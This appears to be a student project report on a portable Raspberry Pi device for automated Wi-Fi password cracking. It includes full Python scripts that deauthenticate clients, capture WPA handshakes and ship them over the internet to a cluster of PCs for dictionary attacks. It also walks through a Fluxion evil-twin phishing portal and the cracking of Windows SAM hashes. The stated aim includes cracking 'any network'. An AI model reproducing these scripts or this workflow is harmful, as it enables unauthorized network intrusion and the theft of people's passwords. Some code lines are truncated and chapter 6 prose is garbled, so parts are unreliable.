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ABSTRACT 

Password cracking has become a vital thing for many organizations especially for intelligence and 

security departments. The target of cracking is being achieved but few areas are remain untouched. 

The software cracking tools mostly depend on a dedicated user and no special device is 

manufactured for this purpose. Our project aims at making a suitable and consolidated spy device 

to separate it from any other operations, which a computer performs during the cracking process.  

This is done using a raspberry pi with a wireless adopter, which scans Wi-Fi signals in its vicinity, 

captures handshake and sends it to a network of PCs. Existing methodologies excluding kali Linux 

tools focus on cracking of window’s passwords. The toolkit have an additional feature of cracking 

Windows password(s) if provided with a SAM file by using these cracking techniques.  In our 

device, after recovery of passwords, further manipulation or reconnaissance, scanning and 

enumeration operations can be performed.  
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CHAPTER 1 

Introduction 

1.1. Overview 

Cracking password(s) of a Wireless Access Point is the first and foremost barrier for intruding a 

network. Many Password cracking applications and tools are available both commercially and 

open source that employ various techniques and algorithms to crack passwords. This project is 

aimed at building a device that will have password cracking techniques embedded into it. The 

device will be made resourceful and powerful enough to crack the Wi-Fi passwords in limited 

time. The processing power can be enhanced in future depending upon the requirements. The 

password cracking techniques employed will involve aircrack-ng capabilities. It will focus on 

different areas of Wi-Fi Security e.g. Monitoring, Attacking, Testing and Cracking. This will also 

include other cracking techniques like dictionary attacks, pre-computed hashes, rainbow tables or 

even brute-forcing. The toolkit will have an additional feature of cracking Windows password(s) 

if provided with a SAM file by using these cracking techniques. Once the password is cracked, the 

network is open for reconnaissance, scanning (ports etc.) and enumeration. 

1.2. Problem Statement   

A consolidated hardware spy equipment with maximum password cracking capabilities able to 

crack passwords which can be legalized for use by law enforcement officials, corporate security, 

IT professionals and intelligence departments. Moreover, by the introduction of codes, its 

functionality will improve in terms of automation.   

1.3. Approach   

1. Installing kali Linux tools in Raspbian. 

2. Python scripts for automated WEP, WPA, WPA2 cracking    

3. Connecting a raspberry pi to network of PCs  

4. Sending handshake capture from device to PCs where parallel dictionary attacks will take 

place.    

5. After completion, key will be send back to device, where it will be stored in a file with the 

Access Point name.   
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1.4. Objectives 

The project have both defensive and offensive applications. It can be used to identify password 

weaknesses, bad security practices, and default passwords in indigenous systems. Other aim is to 

automate the cracking process using scripting in python language in our case; however other high 

level languages can also be used. Another objective will be of offensive nature whereby the device 

will be used to crack passwords of any network. It will also be used to crack Windows password. 

If SAM file is provided. At a later stage, the device can be enhanced by adding reconnaissance, 

scanning and enumeration operations.  

1.5. Background Study 

There is lot of literature available online on hacking Wi-Fi networks and also all the required tools. 

Wi-Fi networks were initially made secure by WEP (Wired Equivalent Protocol) and as the named 

indicates it was considered equivalent to wired networks but it failed badly. You can collect large 

no of data packets and some of them will be encrypted with same key. Keys will repeat as the key 

space is 64/128 bit. Using Aircrack-ng suite it will not take more than 30 minutes to break WEP 

but it rarely exists. To improve the security WPA (Wireless Protected Access) Protocol was 

introduced and it was further improved to WPA2. WPA2 as a protocol is only vulnerable to 

dictionary attack until now but user and other vulnerabilities can be exploited. However, Krack is 

new vulnerability and but there is no tool available to break. It is existing only in literature.WPA2 

with WPS enabled can be cracked with reaver or bully within a day. Fluxion attack exploits user 

vulnerability. All these attacks can be carried out with Kali Linux which can be installed in PC, 

Laptop and Mobile Phones but it requires dedicated user, large volume of free space and high 

speed processing to make it effective which is quite difficult in these multipurpose devices. Also 

these devices can easily be detected because of their size. So an automated portable spy device 

with required specifications for effective Wi-Fi hacking is going to solve the problem. There has 

been a lot of work in this area but all have some weak points which doesn’t make them effective. 
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CHAPTER 2 

Project Design 

2.1. Components of Project 

Our project basically comprises of 3 parts: 

1. Attacking device 

2. Processing Platform 

3. SAM file Cracking 

The below picture shows all these components in a schematic form. 

 

Figure 2.1 
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2.2. Hardware Specifications 

2.2.1. Raspberry Pi 

2.2.2. Wi-Fi Adapter (TP-LINK WN727N)   

2.2.3. Wi-Fi Dongle   

 Any Wi-Fi Dongle with good internet connectivity.  

 

2.2.4. Power Source  

 A good quality rechargeable battery will be used for powering the device. 

2.2.5. Raspberry pi Switch 

 This pi is used for switching purpose. When it will receive a handshake it will power the 

PCs connected to it and will send handshake to each. 

2.2.6. PCs 

 These will be normal operating computers with external graphic cards for high speed 

processing but it can be enhanced as per the requirements.  

2.2.7. Aluminium Rack 

2.2.8. Mobile Robot 

2.2.9. Ethernet Switch 
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2.3. Final Product 

 

 

Figure 2.2 

 

2.4. Software Specifications 

2.4.1. Raspbian OS 

Raspbian is a Debian-based computer operating system for Raspberry Pi. Since 2015 it has been 

officially provided by the Raspberry pi foundation as the primary operating system for the family 
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of Raspberry Pi single board computers. Raspbian is highly optimized for the Raspberry Pi line's 

low-performance ARM CPUs.  

All the tools required for Wi-Fi password cracking are installed in raspberry pi using sudo apt-get 

install and git clone commands. Following are the list of tools and their details.  

2.4.2 Airmon-ng  

Airmon-ng is a tool used for creating monitor mode interface on your wireless card. A wireless 

card can be in managed or monitor mode but some doesn’t support monitor mode as your default 

wireless card. In managed mode it captures only those packets which are destined for it while in 

monitor mode you can capture all the packets and sniff the air. There can be more than one 

interface for a single wireless card. 

2.4.3 Airodump-ng 

Airodump-ng is also a tool from aircrack-ng suite. After putting your card in monitor mode now 

it can sniff the air. By running Airodump-ng now you can sniff all the packets and airodump does 

so cleanly by showing output. You can also save the output in csv format. An instance of output 

of airodump-ng is shown below  

 

Figure 2.3 

After scanning the air now it’s time to attack a specific network for that you will have to monitor 

the traffic of that network specifically. You will enter the mac address of access point with 

airodump options.  

2.4.4 Aireplay-ng  

Aireplay-ng is also from aircrack-ng suite it have many options of attack but that concerning to us 

is deauthenticating attack. Now you will deauthenticate the clients from the network by sending 
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deauth packets. As soon as you deauthenticate they will try to reauthenticate and in doing so 

handshake packets will be generated which will be dumped by airodump into a file. 

2.4.5 Aircrack-ng  

The captured handshake and wordlist generated will be used for cracking password. Aircrack-ng 

will generate PTK from announce, snounce, mac address of AP, SSID length, password from 

dictionary and confirms it with MIC. To crack WEP however large no of data packets with IVs 

are captured and there will be data packets with same IV since keys will exhaust.  

2.4.6 Reaver  

There is an easy way to crack Wi-Fi passwords but with those access points which are WPS (Wi-

Fi protected setup) enabled. It is in fact Brute force attack against WPS Pin and the weakness is 

that it sends response whether the first four digits are correct or not and the last digit is check sum 

for the rest of the pin which leaves with 11,000 guesses. But now router comes with WPS lock 

out feature which makes attack difficult.  

2.5. Competing Design Methodologies  

There are few programs already present for cracking purposes. These include Password Recovery 

Tool Kit (PRTK), Distributed Network Attack (DNA) and Forensic Tool Kit (FTK). PRTK and 

DNA have essentially the same program interface and they work essentially the same way. Both 

programs analyze file signatures to find encryption types and determine which recovery modules 

to use. Before recovering passwords for protected files, PRTK and DNA create hash values that 

can be used to aid in determining whether the content of a file changed during the password 

recovery. Our project is different from these packages in terms of its utility in cracking Wi-Fi 

passwords particularly. These tools are mainly for attacks in wired networks, they cannot be used 

as wireless devices. They are specialized in recovering Login passwords, AOL Communicator 

Account passwords, and AOL Instant Messenger passwords, etc. They do not facilitate or handle 

wireless attacks which is an essential part for Wi-Fi password recovery. The dictionaries for 

bruteforcing in these modules contain word lists of many languages. This will result in huge 

wastage of memory containing in-numerable and useless wordlists. In developing the dictionaries, 

we will only consider those wordlists which can be used in Pakistani perspective. The device 

which we intend to make is superior to these programs due to its mobility. These cracking toolkits 
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follow a sequence of steps before, they actually perform an attack. The codes which we will use, 

once installed in device will automatically start their function after detecting the Wi-Fi signals.   

Now let’s discuss those techniques which perform wireless attacks in their functioning of cracking 

Wi-Fi passwords. Kali Linux comes with pre-installed hacking tools including Wi-Fi hacking 

tools. It is being used widely for vulnerability analysis, hacking, Wi-Fi password cracking, 

Metasploit etc. But all requires dedicated user. Kali Linux can be installed in PCs, laptops and 

even advanced user equipment. Since these are multipurpose devices so they can’t be used 

efficiently for Wi-Fi hacking. You need a dedicated device with large free space and high 

processing power. So our methodology fills these gaps. For test purposes we will use network of 

PCs but it can be replaced by high processing platform. There has been a little work which seems 

much similar to our design methodology but it badly fails in some sensitive areas like size of 

device, portability and processing power. An instance of this is the WASP (Wireless Aerial 

Surveillance Platform which uses 340 million word dictionary and it is installed on a drone but it 

is not portable at all. It is 14 pound 6 foot long aerial vehicle and its dictionary is also limited with 

little computing power. So there is need of standalone device with Wi-Fi hacking capabilities 

embedded into it with high cracking speed and it must also be portable. So we have separated the 

cracking platform and handshake capturing device but established communication so handshake 

and password can be shared over the internet which makes it portable and fast. 
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CHAPTER 3 

Attacking Device 

3.1. Introduction 

In any Wi-Fi network, whenever a client is connected to an access point (Router), he/she establish 

a four-way handshake to make the communication secure , now basically this four-way handshake 

comprise of encrypted Wi-Fi password. Our attacking device moving in the vicinity of a target 

network will capture the four-way handshake and send it to processing platform through internet 

for brute force and dictionary attack.  

3.2. Working 

The attacking device using the tools of “Aircrack-ng” on Raspbian OS will attack on a Wi-Fi 

network, it will scan the target Wi-Fi network through the wireless card which is set on monitor 

mode and will capture the four-way handshake (encrypted password) and then it will send it to 

processing platform through internet, which will basically perform a brute force and dictionary 

attack to get the actual password. The Whole process is make automated with a python script. 

3.3. Steps: 

1. First wireless card will be set on monitor mode using airmon-ng command 

2. Then using airodump-ng command it will scan for Wi-Fi networks 

3. Then it will select a particular network 

4. Then it will deauthenticate all clients connected to that network using airplay-ng command 

so that four-way handshake will reestablish.   

5. When a client tries to reestablish a four-way handshake, then at this point it will be captured 

by our device. 

6. After capturing it send it to processing platform through internet.  
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3.4. Block Diagram 

 

Figure 3.1 

3.5. Automation Script 

1. import csv   
2. import os   
3. import time   
4. import subprocess   
5. from subprocess import*   
6.    
7. os.system("sudo airmon-ng start wlan1")   
8. subprocess.Popen(['sudo','airodump-ng','-w','my','--output-format','csv','wlan1mon'])   
9. time.sleep(10) #this may change owing to the greater processor   
10. os.system('sudo killall airodump-ng')   
11. with open('my-01.csv','r') as my_file:   
12.     my_read=csv.reader(my_file)   
13.     for row in my_read:   
14.         try:   
15.             Proto_col=row[5]   
16.             Proto_col=Proto_col.strip()   
17.             if row[5]==" WEP" :             #Wep Basic Case   
18.                 bssid_wep=str(row[0])   
19.                 data_wep=str(row[10])   
20.                 ch_wep=str(row[3])   
21.                 ap_wep=str(row[13])   
22.                 os.environ['my_bssid']=bssid_wep   
23.                 os.environ['my_channel']=ch_wep   
24.                 os.environ['pass_file']=ap_wep   
25.                 subprocess.Popen(['sudo airodump-ng --channel $my_channel --

bssid $my_bssid -w my_ivs --output-format cap wl$   
26.                 time.sleep(20) #this may change on sir waleed instruction for high proc

essor   
27.                 subprocess.call(['sudo aircrack-ng my_ivs-01.cap'],shell=True)   
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28.                 subprocess.call(['sudo rm my_ivs-01.cap my_ivs-01.csv my_ivs-
01.kismet.csv my_ivs-01.kismet.netxml'],shell=T$   

29.             if row[13]==" WPA2" :  #WPA2 when no client is connected ...the environment
 variable are almost same so i will c$   

30.                 bssid_wpa=row[0]   
31.                 ch_wpa=row[3]   
32.                 ap_wpa=row[13]   
33.                 ap_wpa=ap_wpa.strip()   
34.                 os.environ['my_bssid']=bssid_wpa   
35.                 os.environ['my_channel']=ch_wpa   
36.                 os.environ['pass_file']=ap_wpa   
37.                 subprocess.call(['sudo','airmon-ng','stop','wlan1mon'])   
38.                 #subprocess.call(['sudo','airmon-ng','check','kill'])   
39.                 subprocess.call(['sudo airmon-

ng start wlan1 $my_channel'],shell=True)   
40. dump_handshake=open('output.txt','w')   
41.                 subprocess.Popen(['sudo airodump-ng --channel $my_channel --

bssid $my_bssid -w my-wpa wlan1mon'],shell=True,$   
42.                 time.sleep(10)   
43.                 count=0   
44.                 def deauth_fn():   
45.                     global count   
46.                     global ap_wpa   
47.                     count=count+1   
48.                     with open('my-wpa-01.csv','r') as wpa_info_file :#this is for de-

authentication   
49.                         state=0   
50.                         i=0   
51.                         j=0   
52.                         info_read=csv.reader(wpa_info_file)   
53.                         for row in info_read:   
54.                             i=i+1   
55.                             try:   
56.                                 if i>=6:   
57.                                     state=1   
58.                                     check_handshake=open('output.txt','r')   
59. for line in check_handshake:   
60.                                         if "WPA handshake" in line:   
61.                                             j=1   
62.                                             break   
63.                                         else:   
64.                                             j=0   
65.                                     if j==1:   
66.                                         check_handshake.close()   
67.                                         os.system('sshpass -

p raspberry scp /home/pi/Downloads/my-wpa-01.cap pi@192.168.1.24$   
68.    
69.                                         break   
70.                                     if j==0:   
71.                                         client_wpa=row[0]   
72.                                         os.environ['my_client']=client_wpa   
73.                                         if client_wpa == 'B8:27:EB:B8:5E:27':   
74.                                             check_handshake.close()   
75.                                         else:   
76.                                             subprocess.call(['sudo aireplay-ng --

deauth 4 -a $my_bssid -c $my_client wlan1mo$   
77.                                             check_handshake.close()   
78.                             except IndexError:   
79.                                 pass   
80.  if j==0 and state==1 and count < 8:   
81.                         deauth_fn()   
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82.                 deauth_fn()   
83.                 os.system('sudo killall airodump-ng')   
84.                 subprocess.call(['sudo aircrack-ng -l $pass_file my-wpa-01.cap -w wpa-

wordlist'],shell=True)   
85.                 os.system('sudo airmon-ng stop wlan1mon')   
86.                 os.system('sudo rm my-wpa-01.cap my-wpa-01.csv my-wpa-01.kismet.csv my-

wpa-01.kismet.netxml output.txt')    $   
87.         except IndexError :   
88.             pass   
89. os.system('sudo rm my-01.csv') 

Figure 3.2 

 

3.6. Results 

 Scanning Wi-Fi networks 

 

Figure 3.3 

 

 

 Deauthenticating clients from access point 
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Figure 3.4 

 Capturing Handshake 

 

Figure 3.5 

Now after capturing this handshake it will send it to the processing platform through internet for 

cracking the password.    

 

 

 

Handshake Captured 
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CHAPTER 4 

Processing Platform 

4.1. Introduction 

Processing platform will process the information provided and then taking the required actions on 

the provided information. Now the basic responsibility of processing platform in this project is to 

receive the WPA handshake through internet and then start cracking using dictionary attack and 

brute force attack. The processing will start on multiple PCs in parallel due to which the cracking 

time will reduce to three times or more; cracking time depends on no of PCs. 

4.2. Hardware Components 

Hardware components used are  

 Raspberry pi 3 B 

 5 port Ethernet Switch 

 Ethernet cables 

 3 PCs 

 Wi-Fi Dongle 

 Power unit 

 Aluminium rack 

Raspberry pi is the main processor, One Ethernet cable is connected to Raspberry pi Ethernet Port, 

Two Ethernet cables from Ethernet switch are connected to two PCs and a Wi-Fi dongle is 

connected to Raspberry pi for internet connection. We have made the Aluminium rack to arrange 

the electronic components in sequential manner. 

4.3. Software Installed 

 Openssh server on PCs 

 Aircrack-ng on PCs 

 Python on PCs  

 Raspbian OS on raspberry pi 
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 SSH server on raspberry pi 

4.4. Hardware Settings 

These setting will enable PCs to wake up through Ethernet 

 Enabling Wake on LAN on windows BIOS 

 Enabling Wake on LAN in windows Ethernet properties 

4.5. Block Diagram 

 

Figure 4.1 

Raspberry pi is connected to internet through Wi-Fi dongle and it is also connected to multiple 

PCs (we use 3 PCs) through Ethernet switch with Ethernet cables. 

Raspberry pi will always remain in powered ON STATE, whereas PCs will be ON according to 

the situation. 
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4.6. Working Principle 

The attacking device will first capture the WPA handshake and then transmit it to the processing 

platform through internet where raspberry pi will receive the handshake and then transmit  it to all 

the three PCs were dictionary attack will start in parallel(Parallel processing) but before this step, 

raspberry pi will first ‘Powered ON’ all the PCs through Ethernet using etherwake command and 

then transmit handshake to all of them simultaneously, after that dictionary attack and brute force 

will start  on all the three PCs and if a password is found in any System(PC) then it will send 

response to raspberry pi which will  show that password and in the meanwhile will terminate  

dictionary and brute force attack on other PCs as well. Now if multiple handshakes of different 

networks comes, raspberry pi will pick them one by one and starts sending them to PCs 

simultaneously where again cracking will initiate. And in the final step if no handshake found PCs 

will wait for 80 seconds and then go to ‘shut down’ state.   

The communication between PCs and raspberry pi occur through ssh protocol which is basically 

a protocol for secure communication in a network, ssh servers are running on both raspberry pi 

and PCs. Now basically there are two scripts written in python, one will run on a raspberry pi and 

the other one will run on all the PCs at windows startup. 

4.7. Automation Script on Raspberry pi 

1. import os   
2. import time   
3. import socket   
4. import subprocess   
5. from subprocess import call,Popen,PIPE   
6. import paramiko   
7. import shutil    
8. from socket import*   
9. from shutil import copyfile   
10. k=0;   
11. t=0;   
12. p=os.listdir("/home/pi/handshake")   
13. q=os.listdir("/home/pi/password_file")    
14. while p==[] or p!=[]:   
15.        while p==[]:   
16.               p=os.listdir("/home/pi/handshake")   
17.               if k!=0 and t!=2:   
18.                      s = socket(AF_INET, SOCK_DGRAM)   
19.                      s.bind(('', 18))   
20.                      data ,addr = s.recvfrom(18)   
21.                      s.close()   
22.                      t=t+1;   
23.                      if data=='Password Not Found':   
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24.                             print "password not found"                       
25.                      else:             
26.                             subprocess.call(['sudo sshpass -

p 123@Mcs ssh Mohsin@172.23.13.127 "taskkill /f /im aircrack-ng.exe"'],shell=True)    
27.                             subprocess.call(['sudo sshpass -

p 123@Mcs ssh Mohsin@172.23.13.128 "taskkill /f /im aircrack-ng.exe"'],shell=True)   
28.                             print 'Password Found :\033[1;32m>>>>>>>>>>>>>>>\033[1;31m'

+data+'\033[1;32<<<<<<<<<<<<<\033[0m'   
29.                             print '\n\n\033[1;34m**************************************

************************\033[0m'   
30.                             k=0;   
31.                             t=2;   
32.                          
33.        while p!=[]:   
34.               r=subprocess.call(['nc -z 172.23.13.127 22'],shell=True)    
35.               if r==1:   
36.                      recv=0;    
37.                      s = socket(AF_INET, SOCK_DGRAM)   
38.                      s.bind(('', 18))      
39.                      subprocess.call(['sudo wakeonlan -i 172.23.13.255 -

f wakeup'],shell=True)                                               
40.                      while recv!=2:   
41.                             data, addr = s.recvfrom(18)   
42.                             num=int(data);   
43.                             recv=recv+num;   
44.                             print "Systems Codes:", recv   
45.                      s.close()   
46.                      r=0;   
47.                      time.sleep(2)    
48.               if recv==2:          
49.                      print "Port is open"   
50.                      print "Now Sending Handshake....."   
51.                      for i in p:   
52.                             if i.endswith(".cap"):      
53.                                    print i                                       
54.                                    p2=os.path.join('/home/pi/handshake',i)             

                         
55.                                    subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.127:C:/Users/Mohsin/Documents/Newfolder/Newfolder
/Newfolder/handshake'],shell=True)   

56.                                    time.sleep(2)   
57.                                    subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.128:C:/Users/Mohsin/Documents/Newfolder/Newfolder
/Newfolder/handshake'],shell=True)   

58.                                    os.remove(p2)   
59.                                    p=os.listdir("/home/pi/handshake")   
60.                             else:      
61.                                    print i   
62.                                    p2=os.path.join('/home/pi/handshake',i)   
63.                                    os.remove(p2)      
64.                             p=os.listdir("/home/pi/handshake")   
65.                             k=k+1;   
66.                             t=0;    

Figure 4.2 
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4.8. Automation Script on PCs 

1. import os   
2. import subprocess   
3. import time   
4. import sys   
5. import paramiko   
6. import pysftp   
7. import shutil   
8. import socket   
9. from subprocess import call,PIPE,Popen   
10. k=0;   
11. s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
12. s.sendto(bytes('1','UTF-8'),('172.23.13.6',18))   
13. s.close()   
14. dictionary='C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\Newfolder\\dictionary\\

dictionary.dic'   
15. p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\Newfolder\\handshake'

)    
16. while p==[] or p!=[]:   
17.       while p==[]:   
18.              p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\Newfolde

r\\handshake')   
19.              if k!=0:   
20.                     time.sleep(80)   
21.                     p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\N

ewfolder\\handshake')   
22.                     if p==[]:   
23.                            os.system("shutdown /s /t 1")   
24.                            k=0;   
25.       while p!=[]:   
26.             for i in p:   
27.                   print (i)   
28.                   x=(''+i+'.txt')   
29.                   print (x)   
30.                   store=os.path.join('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolde

r\\Newfolder\\password.list',x)   
31.                   print (store)   
32.                   open(store,'a')   
33.                   open(store,'w').close()   
34.                   p2=os.path.join('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\

Newfolder\\handshake\\',i)      
35.                   p1=os.stat(store).st_size   
36.                   os.chdir('C:\\aircrack-ng-1.2-rc2-win\\bin ')   
37.                   time.sleep(4)   
38.                   os.system('aircrack-ng -l '+store+' -

w '+dictionary+' '+p2+ ' ')                        
39.                   p1=os.stat(store).st_size           
40.                   h=open(store,'r')   
41.                   z=h.read()   
42.                   h.close()   
43.                   if z==''   
44.                          s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
45.                          s.sendto(bytes('Password Not Found','UTF-

8'),('172.23.13.6',18))   
46.                          s.close()   
47.                   else   
48.                          s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
49.                          s.sendto(bytes(z,'UTF-8'),('172.23.13.6',18))   



19 
 

50.                          s.close()   
51.                   os.remove(p2)                     
52.                   p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\New

folder\\handshake')   
53.                   k=k+1;   

Figure 4.3 

4.9. Explanation 

 Following folders are already created with the name “handshake”, “password_file” on 

raspberry pi. 

67. p=os.listdir("/home/pi/handshake")   
68. q=os.listdir("/home/pi/password_file")    

Following folders are already created with the name “dictionary”, “handshake”, “password.list” 

on pcs 

54. dictionary='C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\Newfolder\\dictionary\\
dictionary.dic'   

55. p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\Newfolder\\handshake'
)    

 We have done port forwarding to send the handshake file from attacking device directly to the 

Processing Platform Pi through internet. For dictionary attack we have 14 GB of dictionary 

and for brute forcing we use the Tool “Crunch” which basically generate all possible 

combinations. The ‘handshake file’ from attacking device will come at the “Handshake” folder 

destination in Raspberry pi through internet and the Raspberry pi is continuously checking this 

folder, once it comes to know that a handshake(.cap) file comes it will send wakeup command 

to PCs which are in shutdown state. 

  subprocess.call(['sudo wakeonlan -i 172.23.13.255 -f wakeup'],shell=True)  

69.    if i.endswith(".cap"):      
70.                                    print i                                       
71.                                    p2=os.path.join('/home/pi/handshake',i)             

                         
72.                                    subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.127:C:/Users/Mohsin/Documents/Newfolder/Newfolder
/Newfolder/handshake'],shell=True)   

73.                                    time.sleep(2)   

                                   subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.128:C:/Users/Mohsin/Documents/Newfolder/Newfolder/Ne

wfolder/handshake'],shell=True)    

 Then after complete Windows Startup PCs will send integer ‘1’ to the pi through socket 

communication which means now they are waiting to receive Handshake file. 
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56. s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
57. s.sendto(bytes('1','UTF-8'),('172.23.13.6',18))   

s.close() 

 After receiving the response from PCs, raspberrypi will send the handshake file to PCs at the 

“handshake” folder destination simultaneously. 

74. if recv==2:          
75.                      print "Port is open"   
76.                      print "Now Sending Handshake....."   
77.                      for i in p:   
78.                             if i.endswith(".cap"):      
79.                                    print i                                       
80.                                    p2=os.path.join('/home/pi/handshake',i)             

                         
81.                                    subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.127:C:/Users/Mohsin/Documents/Newfolder/Newfolder
/Newfolder/handshake'],shell=True)   

82.                                    time.sleep(2)   

                                   subprocess.call(['sshpass -

p 123@Mcs scp '+p2+' Mohsin@172.23.13.128:C:/Users/Mohsin/Documents/Newfolder/Newfolder/Newfol

der/handshake'],shell=True)   

 PCs will check the handshake folder and when a handshake file will come they will launch 

dictionary and brute force attack  

58. os.chdir('C:\\aircrack-ng-1.2-rc2-win\\bin ')   
59.                   time.sleep(4)   
60.                   os.system('aircrack-ng -l '+store+' -

w '+dictionary+' '+p2+ ' ')                        

                  p1=os.stat(store).st_size 

 If password found it will be store in “password.list” folder and the cracking processing will 

terminate. The store password will send back to Pi through socket communication which will 

display it on screen. 

61. s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
62.                          s.sendto(bytes(z,'UTF-8'),('172.23.13.6',18))   

                         s.close()   

83. if data=='Password Not Found':   
84.                             print "password not found"                       

If password not found it will also send it to pi  

63. if z==''   
64.                          s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)   
65.                          s.sendto(bytes('Password Not Found','UTF-

8'),('172.23.13.6',18))   
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                         s.close()   

 Then at the end it will terminate cracking process running on other pcs 

85. subprocess.call(['sudo sshpass -
p 123@Mcs ssh Mohsin@172.23.13.127 "taskkill /f /im aircrack-ng.exe"'],shell=True)    

subprocess.call(['sudo sshpass -

p 123@Mcs ssh Mohsin@172.23.13.128 "taskkill /f /im crunch.exe"'],shell=True)  

 Then after completion of task PCs will again go to shutdown after 80 seconds 

66. time.sleep(80)   
67.                     p=os.listdir('C:\\Users\\Mohsin\\Documents\\Newfolder\\Newfolder\\N

ewfolder\\handshake')   
68.                     if p==[]:   
69.                            os.system("shutdown /s /t 1")   
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Chapter 5 

Social Engineering Attack 

5.1. Fluxion Tool 

Fluxion is a social engineering attack.  It jams the original network and creates a clone with the same 

name (SSID), enticing the disconnected user to join. This presents a fake login page indicating the router 

needs to restart or load firmware and requests the network password to proceed. The tool uses a captured 

handshake to check the password entered and continues to jam the target AP until the correct password 

is entered. Fluxion uses Aircrack-ng to verify the results live as they are entered, and a successful result 

means the password is correct. 

The main advantage of fluxion is that it doesn't use any wordlist, dictionary or perform brute force attack 

to break the WPA key. Fluxion creates Clone of the original target network. 

Clients of original network are forced  to connect to the cloned network by deauthenticating them from 

their original network , when they tries to connect to cloned AP, a fake authentication page pops up 

asking for key(Password). When user enters the key, fluxion captures that key and will display on GUI. 

5.2. Requirements 

Linux Based operating system. We installed fluxion on Raspbian OS. 

5.3. Advantages 

The main advantage of fluxion is that it doesn't use any wordlist, dictionary or perform brute force attack 

to break the WPA key.  

Fluxion creates Clone of the original target network. Clients of original network are forced  to connect 

to the cloned network by deauthenticating them from their original network , when they tries to connect 

to cloned AP, a fake authentication page pops up asking for key(Password). When user enters the key, 

fluxion captures that key and will display on GUI. 

 

 

 

 

https://null-byte.wonderhowto.com/how-to/hack-wi-fi-getting-started-with-aircrack-ng-suite-wi-fi-hacking-tools-0147893/
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5.4. Step By Step Working with results 

When running the fluxion script it 

 

Figure 5.1 

 Scan the Wi-Fi network. 

 

Figure 5.2 

  Then selecting a particular target 
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Figure 5.3 

 Then creating  a fake Access Point 

 

Figure 5.4 

 Capture a handshake (necessary for password verification). 

 

Figure 5.5 
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 Creating SSL certificate  

 

 
 

Figure 5.6 
 

 Launch Captive Portal attack. 
 

 
 

Figure 5.7 
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 Spawns a rogue (fake) AP, imitating the original access point. 

 Spawns a DNS server, redirecting all requests to the attacker's host running the captive 

portal. 

 Spawns a web server, serving the captive portal which prompts users for their WPA/WPA2 

key. 

 Spawns a jammer, deauthenticating all clients from original AP and luring them to the 

rogue AP. 

Figure 5.8 

 

 All authentication attempts at the captive portal are checked against the handshake file 

captured earlier. 

 The attack will automatically terminate once a correct key has been submitted. 

 The key will be logged and clients will be allowed to reconnect to the target access point 
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Figure 5.9 
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CHAPTER 6 

Cracking Windows Passwords using SAM file 

 

6.1. What is SAM FILE? 

The Security Account Manager (SAM), often Security Accounts Manager, is a database file in 

Windows XP, Windows Vista, Windows 7, 8.1 and 10 that stores users' passwords. It can be used 

to authenticate local and remote users. SAM uses cryptographic measures to prevent 

unauthenticated users accessing the system. The user passwords are stored in a hashed format in a 

registry hive either as a LM hash or as a NTLM hash. This file can be found in 

%SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. 

6.2. Cryptanalysis 

Since a hash work is one-way, this gives some measure of security to the capacity of the passwords. 

On account of online assaults, it isn't conceivable to just duplicate the SAM document to another 

area. The SAM record can't be moved or duplicated while Windows is running, since the Windows 

bit acquires and keeps a selective document framework bolt on the SAM document, and won't 

discharge that bolt until the point that the operating system has closed down or a "Blue Screen of 

Death" exemption has been tossed. Be that as it may, the in-memory duplicate of the substance of 

the SAM can be dumped utilizing different methods (counting pwdump), making the secret key 

hashes accessible for offline brute-force attack. 

6.3. Ophcrack-ng 

Ophcrack is a free open source (GPL authorized) program that cracks Windows sign in passwords 

by utilizing LM hashes through rainbow tables. The program incorporates the capacity to import 

the hashes from an assortment of organizations, including dumping straightforwardly from the 

SAM records of Windows. On most PCs, Ophcrack can break most passwords inside a couple of 

minutes.  

Rainbow tables for LM hashes are given to free by the developers. As a matter of course, Ophcrack 

is packaged with tables that enables it to break passwords no longer than 14 characters utilizing 
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just alphanumeric characters. Accessible for nothing download are four Windows XP tables and 

four Windows Vista tables. 

6.4. Windows 7 SAM file cracking 

The above mentioned tool was used to recover windows 7 password from SAM file. A copy of 

SAM file was produced at desktop using a software ShadowCopy. This copy was dumped in 

Ophcrack and cracking process was initiated. 

The result of cracking is shown in figure 1. Ophcrack recovers passwords which are in plain text 

only by utilizing rainbow tables. The efficiency of the tool can be enhanced by using tables of very 

large space having size of many GBs. 

 

Figure 6.1 

The cracking speed depends on the processing power of the PCs used. 

 

6.5. Windows 8 SAM file cracking 

The same process was repeated for Windows 8 password recovery. The same success rate was 

achieved as in case of Windows 7 earlier. ShadowCopy was used to make duplicate copy of SAM 

file at any other location of the PC where it can be cracked using Ophcrack. Figure 2. Shows the 

password recovered from Windows 8 SAM file.  
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Figure 6.2 

6.6. Windows 10 SAM file cracking 

Two softwares were mainly used to crack windows 10 password which are Windows Password 

Kracker and Hash_Suite. 

6.6.1. Hash_Suite 

Hash Suite, like all other password hash crackers, does not try to "invert" the hash to obtain the 

password (which might be impossible).  It follows an equivalent procedure employed 

by authentication: it generates completely different candidate passwords (keys), hashes them and 

compares the computed hashes with the hold on hashes. This approach works because users 

generally select passwords that are easy to remember, and as a side-effect these passwords are 

typically easy to crack. Another reason why this approach is so very effective is that Windows 

uses password hash functions that are very fast to compute, especially in an attack (for each given 

candidate password). 

6.6.2. Windows 10 Hashes recovery 
